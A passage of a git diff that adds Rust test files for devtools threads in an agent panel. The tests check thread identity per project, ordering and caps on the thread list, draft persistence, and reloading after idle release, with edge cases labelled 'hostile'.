+// Hostile halves first (R5.5's identity, at the registry):
+//   - an EDITOR thread in the same project is not a devtools thread of it, a devtools thread of
+//     ANOTHER project is not one of this project, and an unknown id is not one — while the same root
+//     spelled `/p/app/` still recognises its own thread (wrongly split by string comparison);
+//   - creation never moves the editor: the window's active thread is the same entity after create;
+//   - the draft rule: a devtools thread with no message has NO persisted mark (so a restart drops
+//     it, R5.3), while the promoted one does (R5.2);
+//   - `is_devtools` reads memory ∪ store: an UNPROMOTED thread (memory only) and a promoted one
+//     (store) both answer their root, an editor thread answers None (a store-only reader would
+//     leave every new browser thread unbadged until its first message).
+
+use std::path::Path;
+
+use acp_thread::StubAgentConnection;
+use gpui::TestAppContext;
+
+use super::test_support::*;
+use crate::thread_metadata_store::{ThreadId, ThreadMetadataStore};
+use crate::thread_organization::ThreadOrganizationStore;
+
+mod seam {
+    use std::path::Path;
+
+    use anyhow::Result;
+    use gpui::TestAppContext;
+
+    use crate::browser_wire::ThreadInfo;
+
+    pub async fn create(root: &str, cx: &mut TestAppContext) -> Result<ThreadInfo> {
+        let task = cx.update(|cx| crate::devtools_threads::create(Path::new(root), cx));
+        cx.run_until_parked();
+        task.await
+    }
+    pub fn list(root: &str, cx: &mut TestAppContext) -> Vec<ThreadInfo> {
+        cx.update(|cx| crate::devtools_threads::list(Path::new(root), cx))
+    }
+    pub fn is_devtools_of(thread_id: &str, root: &str, cx: &mut TestAppContext) -> bool {
+        cx.update(|cx| crate::devtools_threads::is_devtools_of(thread_id, Path::new(root), cx))
+    }
+    pub async fn ensure_loaded(thread_id: &str, cx: &mut TestAppContext) -> Result<()> {
+        let task = cx.update(|cx| crate::devtools_threads::ensure_loaded(thread_id, cx));
+        cx.run_until_parked();
+        task.await
+    }
+}
+
+fn thread_id_of(key: &str, cx: &mut TestAppContext) -> ThreadId {
+    cx.update(|cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry_ids()
+            .find(|id| id.to_key_string() == key)
+            .unwrap_or_else(|| panic!("{key} is a known thread"))
+    })
+}
+
+/// What `ThreadOrganizationStore` holds as the persisted devtools root of `key`.
+fn persisted_root(key: &str, cx: &mut TestAppContext) -> Option<String> {
+    let id = thread_id_of(key, cx);
+    cx.update(|cx| {
+        ThreadOrganizationStore::global(cx)
+            .read(cx)
+            .organization(id)
+            .and_then(|org| {
+                org.devtools_root
+                    .as_ref()
+                    .map(|r| Path::new(r).display().to_string())
+            })
+    })
+}
+
+/// The save the conversation makes when the first message goes out: the draft gains a session.
+fn promote(key: &str, cx: &mut TestAppContext) {
+    let id = thread_id_of(key, cx);
+    cx.update(|cx| {
+        let store = ThreadMetadataStore::global(cx);
+        let mut metadata = store
+            .read(cx)
+            .entry(id)
+            .cloned()
+            .expect("metadata of a created thread");
+        metadata.session_id = Some(agent_client_protocol::v2::schema::SessionId::new(format!(
+            "session-{key}"
+        )));
+        store.update(cx, |store, cx| store.save(metadata, cx));
+    });
+    cx.run_until_parked();
+}
+
+#[gpui::test]
+async fn hostile_an_editor_thread_another_projects_thread_and_an_unknown_id_are_not_devtools_threads(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let _web = window(&fs, "/p/web", Some(StubAgentConnection::new()), cx).await;
+    let editor = crate::test_support::active_thread_id(&app.panel, &app.cx).to_key_string();
+    let web_devtools = seam::create("/p/web", cx).await.expect("created in /p/web");
+
+    assert!(
+        !seam::is_devtools_of(&editor, "/p/app", cx),
+        "an editor thread, same project"
+    );
+    assert!(
+        !seam::is_devtools_of(&web_devtools.thread_id, "/p/app", cx),
+        "a devtools thread of another project"
+    );
+    assert!(
+        !seam::is_devtools_of("00000000-0000-0000-0000-000000000000", "/p/app", cx),
+        "an id that exists nowhere"
+    );
+
+    let mine = seam::create("/p/app", cx).await.expect("created in /p/app");
+    assert!(seam::is_devtools_of(&mine.thread_id, "/p/app", cx));
+    assert!(
+        seam::is_devtools_of(&mine.thread_id, "/p/app/", cx),
+        "the same root, spelled with a trailing slash"
+    );
+}
+
+#[gpui::test]
+async fn hostile_creating_a_devtools_thread_never_changes_the_editors_thread(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let before = app.thread().entity_id();
+    let created = seam::create("/p/app", cx).await.expect("created (R5.1)");
+    assert_eq!(
+        app.thread().entity_id(),
+        before,
+        "A2: the editor's view never moves"
+    );
+    assert_ne!(
+        crate::test_support::active_thread_id(&app.panel, &app.cx).to_key_string(),
+        created.thread_id
+    );
+    assert_eq!(
+        created.project, "app",
+        "ThreadInfo.project names the project"
+    );
+}
+
+#[gpui::test]
+async fn list_is_this_roots_devtools_threads_only_newest_first(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let editor = crate::test_support::active_thread_id(&app.panel, &app.cx).to_key_string();
+    let first = seam::create("/p/app", cx).await.expect("first");
+    cx.executor()
+        .advance_clock(std::time::Duration::from_secs(1));
+    let second = seam::create("/p/app", cx).await.expect("second");
+    let other = seam::create("/p/web", cx).await.expect("web");
+
+    let ids: Vec<String> = seam::list("/p/app", cx)
+        .into_iter()
+        .map(|t| t.thread_id)
+        .collect();
+    assert_eq!(
+        ids,
+        vec![second.thread_id.clone(), first.thread_id.clone()],
+        "R5.4"
+    );
+    assert!(!ids.contains(&editor), "never an editor thread");
+    assert!(
+        !ids.contains(&other.thread_id),
+        "never another project's thread"
+    );
+}
+
+#[gpui::test]
+async fn list_holds_at_most_fifty(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let _app = window(&fs, "/p/app", None, cx).await;
+    for _ in 0..51 {
+        seam::create("/p/app", cx).await.expect("created");
+    }
+    assert_eq!(seam::list("/p/app", cx).len(), 50);
+}
+
+#[gpui::test]
+async fn hostile_only_the_promoted_thread_carries_a_persisted_mark(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let _app = window(&fs, "/p/app", None, cx).await;
+    let empty = seam::create("/p/app", cx).await.expect("empty");
+    let used = seam::create("/p/app", cx).await.expect("used");
+    promote(&used.thread_id, cx);
+    assert_eq!(
+        persisted_root(&used.thread_id, cx).as_deref(),
+        Some("/p/app"),
+        "R5.2: persisted on its first message"
+    );
+    assert_eq!(
+        persisted_root(&empty.thread_id, cx),
+        None,
+        "R5.3: an empty devtools thread leaves nothing to survive a restart"
+    );
+    // The in-memory mark still makes the empty one a devtools thread for this run.
+    assert!(seam::is_devtools_of(&empty.thread_id, "/p/app", cx));
+}
+
+#[gpui::test]
+async fn a_promoted_thread_keeps_its_mark_when_other_organization_changes(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let _app = window(&fs, "/p/app", None, cx).await;
+    let used = seam::create("/p/app", cx).await.expect("used");
+    promote(&used.thread_id, cx);
+    let id = thread_id_of(&used.thread_id, cx);
+    // Pinning writes other columns of the same row: the column-scoped upsert keeps the mark.
+    cx.update(|cx| {
+        ThreadOrganizationStore::global(cx).update(cx, |store, cx| {
+            store.pin(id, cx).expect("a promoted thread can be pinned");
+        })
+    });
+    cx.run_until_parked();
+    assert_eq!(
+        persisted_root(&used.thread_id, cx).as_deref(),
+        Some("/p/app")
+    );
+}
+
+#[gpui::test]
+async fn ensure_loaded_never_changes_the_editors_thread(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let used = seam::create("/p/app", cx).await.expect("used");
+    promote(&used.thread_id, cx);
+    let before = app.thread().entity_id();
+    seam::ensure_loaded(&used.thread_id, cx)
+        .await
+        .expect("loads (R5.6)");
+    assert_eq!(
+        app.thread().entity_id(),
+        before,
+        "A2: loaded in the background"
+    );
+    assert!(seam::is_devtools_of(&used.thread_id, "/p/app", cx));
+}
+
+#[gpui::test]
+async fn creation_with_no_window_on_the_root_is_an_error_naming_it(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let error = seam::create("/p/app", cx)
+        .await
+        .expect_err("no window holds /p/app");
+    assert!(
+        format!("{error:#}").contains("/p/app"),
+        "Q4: the error names the root: {error:#}"
+    );
+}
+
+#[gpui::test]
+async fn a_devtools_thread_is_an_ordinary_thread_of_its_project(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let _app = window(&fs, "/p/app", None, cx).await;
+    let used = seam::create("/p/app", cx).await.expect("used");
+    promote(&used.thread_id, cx);
+    let id = thread_id_of(&used.thread_id, cx);
+    cx.update(|cx| {
+        let store = ThreadMetadataStore::global(cx);
+        let metadata = store
+            .read(cx)
+            .entry(id)
+            .expect("listed in the thread store (R8.3)");
+        assert!(!metadata.archived);
+        assert!(
+            metadata.references_folder_path(Path::new("/p/app")),
+            "listed under its project, like any thread"
+        );
+    });
+}
+
+fn is_devtools(key: &str, cx: &mut TestAppContext) -> Option<String> {
+    let id = thread_id_of(key, cx);
+    cx.update(|cx| {
+        crate::devtools_threads::DevtoolsThreads::global(cx)
+            .read(cx)
+            .is_devtools(id)
+            .map(|root| root.display().to_string())
+    })
+}
+
+#[gpui::test]
+async fn hostile_is_devtools_answers_for_unpromoted_and_promoted_threads_alike(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let editor = crate::test_support::active_thread_id(&app.panel, &app.cx).to_key_string();
+    let fresh = seam::create("/p/app", cx).await.expect("fresh");
+    let used = seam::create("/p/app", cx).await.expect("used");
+    promote(&used.thread_id, cx);
+    assert_eq!(
+        persisted_root(&fresh.thread_id, cx),
+        None,
+        "fresh lives in memory only"
+    );
+    assert_eq!(
+        is_devtools(&fresh.thread_id, cx).as_deref(),
+        Some("/p/app"),
+        "memory"
+    );
+    assert_eq!(
+        is_devtools(&used.thread_id, cx).as_deref(),
+        Some("/p/app"),
+        "store"
+    );
+    assert_eq!(is_devtools(&editor, cx), None, "an editor thread");
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_threads_idle_reload.rs b/crates/agent_ui/src/browser_channel_tests/devtools_threads_idle_reload.rs
new file mode 100644
index 0000000..699ebaa
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_threads_idle_reload.rs
@@ -0,0 +1,337 @@
+// Story 055, task 18.2 (refine v4) — an empty devtools draft the agent panel released under its
+// idle cap while its project's window stays open is reloaded from its metadata, not answered
+// `not_found` (design.md §B3 "Empty thread gone with its window", v4 bullet). Requirements:
+// R5.11, R5.9 (Q4, Q5). Found by 18.1's deviation: the v3 rule ("no persisted row and no live
+// entity") is window-independent, so a draft `cleanup_retained_threads` released in a window that
+// is still open answered `not_found` and the panel dropped a thread that still exists.
+//
+// An ADDITIONAL test file beside 18.1's `browser_channel_tests/devtools_threads_reopen.rs` (left
+// untouched; its seven cases must stay green). Wired INSIDE `src/browser_channel.rs` right after
+// `devtools_threads_reopen`, to reach the private `test_support`, so the test path matches the
+// Validation filter `cargo test -p agent_ui devtools_threads`:
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/devtools_threads_idle_reload.rs"]
+//     mod devtools_threads_idle_reload;
+//
+// Contract (design.md §B3, v3 + v4): `ensure_loaded(thread_id, cx)` answers
+// `DevtoolsThreadError::NotFound` for a marked devtools thread with no persisted mark, no session
+// and no live conversation entity ONLY when no open window holds its project (B2's containment
+// rule). With a window open on the project, such a draft takes the reload-from-metadata path it
+// took before v3 (R5.11) and answers its thread.
+//
+// The release is driven the way Zeo does it: `max_idle_retained_threads` lowered in the settings
+// (the agent panel's settings observer runs `cleanup_retained_threads`, which calls
+// `remove_retained_thread`), then restored so the reloaded view is not released again while the
+// test reads it. The agent connection supports `load_session`, or the panel never releases a
+// thread. Every case first asserts the release really happened (no view in any panel, no session),
+// so a green or a red here is about `ensure_loaded`, not about the eviction.
+//
+// Hostile halves first (R5.9 vs R5.11 split ONE kind of thread — empty, unpromoted, no view — by
+// one fact: whether an open window holds its project; both converses):
+//   - wrongly collapsed: an empty draft released in an open window and an empty draft whose window
+//     closed look identical to the v3 check; they MUST stay apart (ok vs not_found). And another
+//     project's open window does not make a closed project's released draft loadable — "any window
+//     open" is not "its project's window open";
+//   - wrongly split: in the same open window, the released draft answers the SAME as its live
+//     sibling (ok) — "released" must not become a third outcome;
+//   - only then the benign case.
+
+use std::time::Duration;
+
+use acp_thread::StubAgentConnection;
+use gpui::{TestAppContext, UpdateGlobal as _};
+use settings::SettingsStore;
+
+use super::test_support::*;
+use crate::browser_wire::ChannelError;
+use crate::devtools_threads::{CONNECT_TIMEOUT, DevtoolsThreadError};
+use crate::thread_metadata_store::{ThreadId, ThreadMetadataStore};
+
+mod seam {
+    use std::path::Path;
+
+    use anyhow::Result;
+    use gpui::TestAppContext;
+
+    use crate::browser_wire::ThreadInfo;
+
+    pub async fn create(root: &str, cx: &mut TestAppContext) -> Result<ThreadInfo> {
+        let task = cx.update(|cx| crate::devtools_threads::create(Path::new(root), cx));
+        cx.run_until_parked();
+        task.await
+    }
+
+    pub fn is_devtools_of(thread_id: &str, root: &str, cx: &mut TestAppContext) -> bool {
+        cx.update(|cx| crate::devtools_threads::is_devtools_of(thread_id, Path::new(root), cx))
+    }
+
+    /// `ensure_loaded`, settled: past [`crate::devtools_threads::CONNECT_TIMEOUT`] a load still
+    /// connecting has answered too, so the result is always decided when this returns.
+    pub async fn ensure_loaded(thread_id: &str, cx: &mut TestAppContext) -> Result<()> {
+        let task = cx.update(|cx| crate::devtools_threads::ensure_loaded(thread_id, cx));
+        cx.run_until_parked();
+        cx.executor()
+            .advance_clock(super::CONNECT_TIMEOUT + super::Duration::from_secs(1));
+        cx.run_until_parked();
+        task.await
+    }
+}
+
+/// An agent whose threads the agent panel may release when idle: it only releases a thread it can
+/// load back (`supports_load_session`).
+fn releasable() -> StubAgentConnection {
+    StubAgentConnection::new().with_supports_load_session(true)
+}
+
+/// What `ensure_loaded` answered, as the wire's code for it, with the error's text for messages.
+fn outcome(result: &anyhow::Result<()>) -> (&'static str, String) {
+    match result {
+        Ok(()) => ("ok", String::new()),
+        Err(error) => {
+            let text = format!("{error:#}");
+            let code = match error.downcast_ref::<DevtoolsThreadError>() {
+                Some(DevtoolsThreadError::NotFound { .. }) => "not_found",
+                Some(DevtoolsThreadError::ProjectClosed { .. }) => "project_closed",
+                Some(DevtoolsThreadError::AgentStartFailed { .. }) => "agent_start_failed",
+                None => "other",
+            };
+            (code, text)
+        }
+    }
+}
+
+fn assert_answers_its_thread(result: &anyhow::Result<()>, what: &str) {
+    let (code, text) = outcome(result);
+    assert_eq!(
+        code, "ok",
+        "R5.11: {what} is reloaded from its metadata and answers its thread; answered {code} ({text})"
+    );
+}
+
+fn assert_not_found(result: &anyhow::Result<()>, what: &str) {
+    let (code, text) = outcome(result);
+    assert_eq!(code, "not_found", "R5.9: {what}; answered {code} ({text})");
+    let error = result.as_ref().expect_err("an error");
+    let channel = error
+        .downcast_ref::<DevtoolsThreadError>()
+        .map(DevtoolsThreadError::channel_error);
+    assert_eq!(
+        channel,
+        Some(ChannelError::NotFound),
+        "the panel reads `error not_found` (R5.8): {what}"
+    );
+}
+
+fn thread_id_of(key: &str, cx: &mut TestAppContext) -> ThreadId {
+    cx.update(|cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry_ids()
+            .find(|id| id.to_key_string() == key)
+            .unwrap_or_else(|| panic!("{key} is a known thread"))
+    })
+}
+
+/// Whether the agent panel of `win` holds a view for `key`: the active one, a retained one or the
+/// draft slot.
+fn held(win: &Win, key: &str) -> bool {
+    win.panel.read_with(&win.cx, |panel, cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry_ids()
+            .find(|id| id.to_key_string() == key)
+            .is_some_and(|id| panel.conversation_view_for(id, cx).is_some())
+    })
+}
+
+/// Whether `key`'s metadata is still a draft: no session, the first message never went out.
+fn is_draft(key: &str, cx: &mut TestAppContext) -> bool {
+    let id = thread_id_of(key, cx);
+    cx.update(|cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry(id)
+            .is_some_and(|entry| entry.is_draft())
+    })
+}
+
+/// Sets `agent.max_idle_retained_threads` the way the operator's settings do; the agent panel's
+/// settings observer runs `cleanup_retained_threads` on every change.
+fn set_idle_cap(cap: Option<usize>, cx: &mut TestAppContext) {
+    let json = match cap {
+        Some(cap) => format!(r#"{{ "agent": {{ "max_idle_retained_threads": {cap} }} }}"#),
+        None => "{}".to_string(),
+    };
+    cx.update(|cx| {
+        SettingsStore::update_global(cx, |store, cx| {
+            store
+                .set_user_settings(&json, cx)
+                .expect("user settings should load");
+        });
+    });
+    cx.run_until_parked();
+}
+
+/// Lowers the idle cap to `cap` (the agent panel releases its oldest idle threads beyond it), then
+/// restores the default so a thread loaded afterwards is not released again mid-test.
+fn release_idle_beyond(cap: usize, cx: &mut TestAppContext) {
+    set_idle_cap(Some(cap), cx);
+    set_idle_cap(None, cx);
+}
+
+/// Closes `win` the way closing the project's window does, and lets go of every handle the test
+/// held on it.
+fn close(win: Win, cx: &mut TestAppContext) {
+    let mut win = win;
+    win.cx.update(|window, _| window.remove_window());
+    win.cx.run_until_parked();
+    drop(win);
+    cx.run_until_parked();
+}
+
+// ---- hostile: wrongly collapsed — released-with-window-open vs gone-with-window -----------------
+
+#[gpui::test]
+async fn hostile_a_draft_released_in_an_open_window_and_a_draft_gone_with_its_window_stay_apart(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(releasable()), cx).await;
+    let web = window(&fs, "/p/web", Some(releasable()), cx).await;
+    let gone = seam::create("/p/app", cx).await.expect("created in /p/app");
+    let released = seam::create("/p/web", cx).await.expect("created in /p/web");
+    assert!(
+        held(&web, &released.thread_id),
+        "precondition: created and held"
+    );
+
+    release_idle_beyond(0, cx);
+    close(app, cx);
+
+    // Precondition: to the v3 check both are the same thing — empty, unpromoted, no view.
+    assert!(
+        !held(&web, &released.thread_id),
+        "precondition: the idle cap released the /p/web draft while its window stays open"
+    );
+    assert!(is_draft(&released.thread_id, cx) && is_draft(&gone.thread_id, cx));
+
+    let released_result = seam::ensure_loaded(&released.thread_id, cx).await;
+    assert_answers_its_thread(
+        &released_result,
+        "the empty draft the idle cap released while /p/web's window stays open",
+    );
+    assert!(
+        held(&web, &released.thread_id),
+        "R5.11: reloaded into its project's window"
+    );
+    assert!(seam::is_devtools_of(&released.thread_id, "/p/web", cx));
+
+    let gone_result = seam::ensure_loaded(&gone.thread_id, cx).await;
+    assert_not_found(
+        &gone_result,
+        "the empty draft whose project has no open window (another project's window is open)",
+    );
+}
+
+#[gpui::test]
+async fn hostile_a_draft_released_while_open_is_not_found_once_its_window_closes_too(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(releasable()), cx).await;
+    let _web = window(&fs, "/p/web", Some(releasable()), cx).await;
+    let draft = seam::create("/p/app", cx).await.expect("created in /p/app");
+
+    // Released first, while /p/app's window was open; then the project closes. Having once been
+    // released does not make it loadable for ever: no window holds its project any more.
+    release_idle_beyond(0, cx);
+    assert!(
+        !held(&app, &draft.thread_id),
+        "precondition: the idle cap released the draft"
+    );
+    close(app, cx);
+
+    let result = seam::ensure_loaded(&draft.thread_id, cx).await;
+    assert_not_found(
+        &result,
+        "an empty draft released by the idle cap whose project then closed",
+    );
+}
+
+// ---- hostile: wrongly split — released and live siblings in one open window, one answer ---------
+
+#[gpui::test]
+async fn hostile_a_released_draft_answers_like_its_live_sibling_in_the_same_window(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(releasable()), cx).await;
+    let first = seam::create("/p/app", cx).await.expect("first");
+    cx.executor().advance_clock(Duration::from_secs(1));
+    let second = seam::create("/p/app", cx).await.expect("second");
+
+    // A cap of one releases exactly one of the two idle drafts; which one is the panel's choice.
+    release_idle_beyond(1, cx);
+    let first_held = held(&app, &first.thread_id);
+    let second_held = held(&app, &second.thread_id);
+    assert!(
+        first_held != second_held,
+        "precondition: the cap of one released exactly one draft (first held {first_held}, \
+         second held {second_held})"
+    );
+    let (live, released) = if first_held {
+        (first, second)
+    } else {
+        (second, first)
+    };
+
+    let live_result = seam::ensure_loaded(&live.thread_id, cx).await;
+    assert_answers_its_thread(&live_result, "the live draft");
+    let released_result = seam::ensure_loaded(&released.thread_id, cx).await;
+    assert_answers_its_thread(
+        &released_result,
+        "its sibling the idle cap released, same window, same project",
+    );
+    assert!(held(&app, &released.thread_id), "R5.11: reloaded");
+    assert!(seam::is_devtools_of(&released.thread_id, "/p/app", cx));
+}
+
+// ---- benign -------------------------------------------------------------------------------------
+
+#[gpui::test]
+async fn an_empty_draft_the_idle_cap_released_reloads_while_its_window_is_open(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(releasable()), cx).await;
+    let shown = app.thread().entity_id();
+    let draft = seam::create("/p/app", cx).await.expect("created");
+
+    release_idle_beyond(0, cx);
+    assert!(
+        !held(&app, &draft.thread_id),
+        "precondition: the idle cap released the draft"
+    );
+    assert!(
+        is_draft(&draft.thread_id, cx),
+        "precondition: never sent a message"
+    );
+
+    let result = seam::ensure_loaded(&draft.thread_id, cx).await;
+    assert_answers_its_thread(&result, "the released empty draft");
+    assert!(
+        held(&app, &draft.thread_id),
+        "R5.11: reloaded into its window"
+    );
+    assert!(seam::is_devtools_of(&draft.thread_id, "/p/app", cx));
+    assert_eq!(
+        app.thread().entity_id(),
+        shown,
+        "R5.6 / A2: reloading does not change the thread the editor shows"
+    );
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_threads_list_gone.rs b/crates/agent_ui/src/browser_channel_tests/devtools_threads_list_gone.rs
new file mode 100644
index 0000000..4c34aac
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_threads_list_gone.rs
@@ -0,0 +1,615 @@
+// Story 055, task 20.1 (refine v5) — the panel's thread list leaves out the empty drafts that
+// answer `not_found` (design.md §B3 "Empty thread gone with its window", v5 bullet). Requirements:
+// R5.4, R5.9, with R5.11's released drafts as the converse (Q4, Q5). Found by 19.1's GUI re-proof:
+// after R5.8's notice the panel list still offered the empty drafts gone with their window, and
+// picking one answered `not_found` again, back to the same list.
+//
+// An ADDITIONAL test file beside 18.1's `devtools_threads_reopen.rs` and 18.2's
+// `devtools_threads_idle_reload.rs` (both left untouched). Wired INSIDE `src/browser_channel.rs`,
+// in rustfmt (alphabetical) order between `devtools_threads_idle_reload` and
+// `devtools_threads_paths`, to reach the private `test_support`, so the test path matches the
+// Validation filter `cargo test -p agent_ui devtools_threads`:
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/devtools_threads_list_gone.rs"]
+//     mod devtools_threads_list_gone;
+//
+// Contract (design.md §B3 v3 + v4 + v5): `list(root, cx)` leaves out exactly the devtools threads
+// `ensure_loaded` answers `NotFound` for: no live view, no persisted mark, no session, and not
+// remembered as released by an agent panel that is still open. So the list and the answer to a
+// subscribe never disagree: every id `list` (or the wire's `list_threads`) returns answers its
+// thread on subscribe, never `not_found`.
+//
+// Seams used (all already exist): `crate::devtools_threads::{create, list, ensure_loaded}`; the
+// wire through `test_support`'s `Probe` (a panel session's `list_threads` and `subscribe`, as in
+// 11.1's `panel_policy.rs`); the idle release through `agent.max_idle_retained_threads` (as in
+// 18.2); promotion through `ThreadMetadataStore::save` with a `session_id`.
+//
+// Hostile halves first (v5 splits ONE set — the devtools threads of a root — into listed and gone;
+// both converses):
+//   - wrongly listed: a draft gone with its window stays out of the list whatever its project's
+//     window state — still closed, reopened before its agent panel, reopened with one — and so does
+//     a draft the idle cap released whose panel then went with its window; the gone draft's
+//     persisted siblings (promoted this run, persisted in an earlier run) stay in;
+//   - wrongly hidden: a live empty draft, an idle-released draft whose releasing panel is still
+//     open, and a released draft while it is being reloaded (a view, but no longer remembered as
+//     released) are all still listed — and each answers its thread;
+//   - only then the benign case: every thread the wire lists answers `snapshot` on subscribe.
+
+use std::path::{Path, PathBuf};
+use std::sync::Arc;
+use std::time::Duration;
+
+use acp_thread::StubAgentConnection;
+use fs::FakeFs;
+use gpui::{TestAppContext, UpdateGlobal as _, WindowHandle};
+use project::Project;
+use serde_json::{Value, json};
+use settings::SettingsStore;
+use workspace::MultiWorkspace;
+
+use super::test_support::*;
+use crate::devtools_threads::{CONNECT_TIMEOUT, DevtoolsThreadError};
+use crate::thread_metadata_store::{ThreadId, ThreadMetadataStore};
+
+mod seam {
+    use std::path::Path;
+
+    use anyhow::Result;
+    use gpui::TestAppContext;
+
+    use crate::browser_wire::ThreadInfo;
+
+    pub async fn create(root: &str, cx: &mut TestAppContext) -> Result<ThreadInfo> {
+        let task = cx.update(|cx| crate::devtools_threads::create(Path::new(root), cx));
+        cx.run_until_parked();
+        task.await
+    }
+
+    /// The ids `list` answers for `root`, in its order.
+    pub fn list(root: &str, cx: &mut TestAppContext) -> Vec<String> {
+        cx.update(|cx| {
+            crate::devtools_threads::list(Path::new(root), cx)
+                .into_iter()
+                .map(|info| info.thread_id)
+                .collect()
+        })
+    }
+
+    /// `ensure_loaded`, settled: past [`crate::devtools_threads::CONNECT_TIMEOUT`] a load still
+    /// connecting has answered too, so the result is always decided when this returns.
+    pub async fn ensure_loaded(thread_id: &str, cx: &mut TestAppContext) -> Result<()> {
+        let task = cx.update(|cx| crate::devtools_threads::ensure_loaded(thread_id, cx));
+        cx.run_until_parked();
+        cx.executor()
+            .advance_clock(super::CONNECT_TIMEOUT + super::Duration::from_secs(1));
+        cx.run_until_parked();
+        task.await
+    }
+}
+
+/// An agent whose threads load again, under the agent id the window's panel keys it by
+/// (`StubAgentServer`'s "Test"): the agent panel only releases a thread it can load back, and a
+/// persisted thread reloads in a reopened window.
+fn loadable() -> StubAgentConnection {
+    StubAgentConnection::new()
+        .with_supports_load_session(true)
+        .with_agent_id("Test".into())
+}
+
+/// What `ensure_loaded` answered, as the wire's code for it, with the error's text for messages.
+fn outcome(result: &anyhow::Result<()>) -> (&'static str, String) {
+    match result {
+        Ok(()) => ("ok", String::new()),
+        Err(error) => {
+            let text = format!("{error:#}");
+            let code = match error.downcast_ref::<DevtoolsThreadError>() {
+                Some(DevtoolsThreadError::NotFound { .. }) => "not_found",
+                Some(DevtoolsThreadError::ProjectClosed { .. }) => "project_closed",
+                Some(DevtoolsThreadError::AgentStartFailed { .. }) => "agent_start_failed",
+                None => "other",
+            };
+            (code, text)
+        }
+    }
+}
+
+/// The invariant v5 exists for: nothing `list` offers for `root` answers `not_found` when picked.
+/// A thread of a closed project may answer `project_closed`, one whose agent cannot start
+/// `agent_start_failed` — never that it no longer exists (R5.8 would drop it again).
+async fn assert_every_listed_thread_answers(root: &str, cx: &mut TestAppContext) {
+    for thread_id in seam::list(root, cx) {
+        let result = seam::ensure_loaded(&thread_id, cx).await;
+        let (code, text) = outcome(&result);
+        assert_ne!(
+            code, "not_found",
+            "R5.4: {thread_id} is listed for {root}, so it must not answer not_found ({text})"
+        );
+    }
+}
+
+fn thread_id_of(key: &str, cx: &mut TestAppContext) -> ThreadId {
+    cx.update(|cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry_ids()
+            .find(|id| id.to_key_string() == key)
+            .unwrap_or_else(|| panic!("{key} is a known thread"))
+    })
+}
+
+/// The save the conversation makes when the first message goes out: the draft gains a session,
+/// and the devtools mark is persisted (R5.2).
+fn promote(key: &str, cx: &mut TestAppContext) {
+    let id = thread_id_of(key, cx);
+    cx.update(|cx| {
+        let store = ThreadMetadataStore::global(cx);
+        let mut metadata = store
+            .read(cx)
+            .entry(id)
+            .cloned()
+            .expect("metadata of a created thread");
+        metadata.session_id = Some(agent_client_protocol::v2::schema::SessionId::new(format!(
+            "session-{key}"
+        )));
+        store.update(cx, |store, cx| store.save(metadata, cx));
+    });
+    cx.run_until_parked();
+}
+
+/// A devtools thread persisted by an earlier run of Zeo and never loaded in this one: its metadata
+/// (with a session, so not a draft) and its persisted mark, built in the stores directly as 11.1's
+/// `panel_policy.rs` does. Its `updated_at` is an hour back, so it sorts after this run's threads.
+fn persisted_from_an_earlier_run(win: &Win, root: &str, cx: &mut TestAppContext) -> String {
+    let thread_id = ThreadId::new();
+    let project = win
+        .workspace
+        .read_with(&win.cx, |workspace, _| workspace.project().clone());
+    let active = crate::test_support::active_thread_id(&win.panel, &win.cx);
+    cx.update(|cx| {
+        let store = ThreadMetadataStore::global(cx);
+        let agent_id = store
+            .read(cx)
+            .entry(active)
+            .map(|metadata| metadata.agent_id.clone())
+            .expect("the window's thread has metadata");
+        let metadata = crate::thread_metadata_store::ThreadMetadata {
+            thread_id,
+            session_id: Some(agent_client_protocol::v2::schema::SessionId::new(format!(
+                "earlier-{}",
+                thread_id.to_key_string()
+            ))),
+            agent_id,
+            title: Some("Earlier devtools thread".into()),
+            title_override: None,
+            updated_at: chrono::Utc::now() - chrono::Duration::hours(1),
+            created_at: None,
+            interacted_at: None,
+            worktree_paths: project.read(cx).worktree_paths(cx),
+            archived: false,
+            remote_connection: None,
+        };
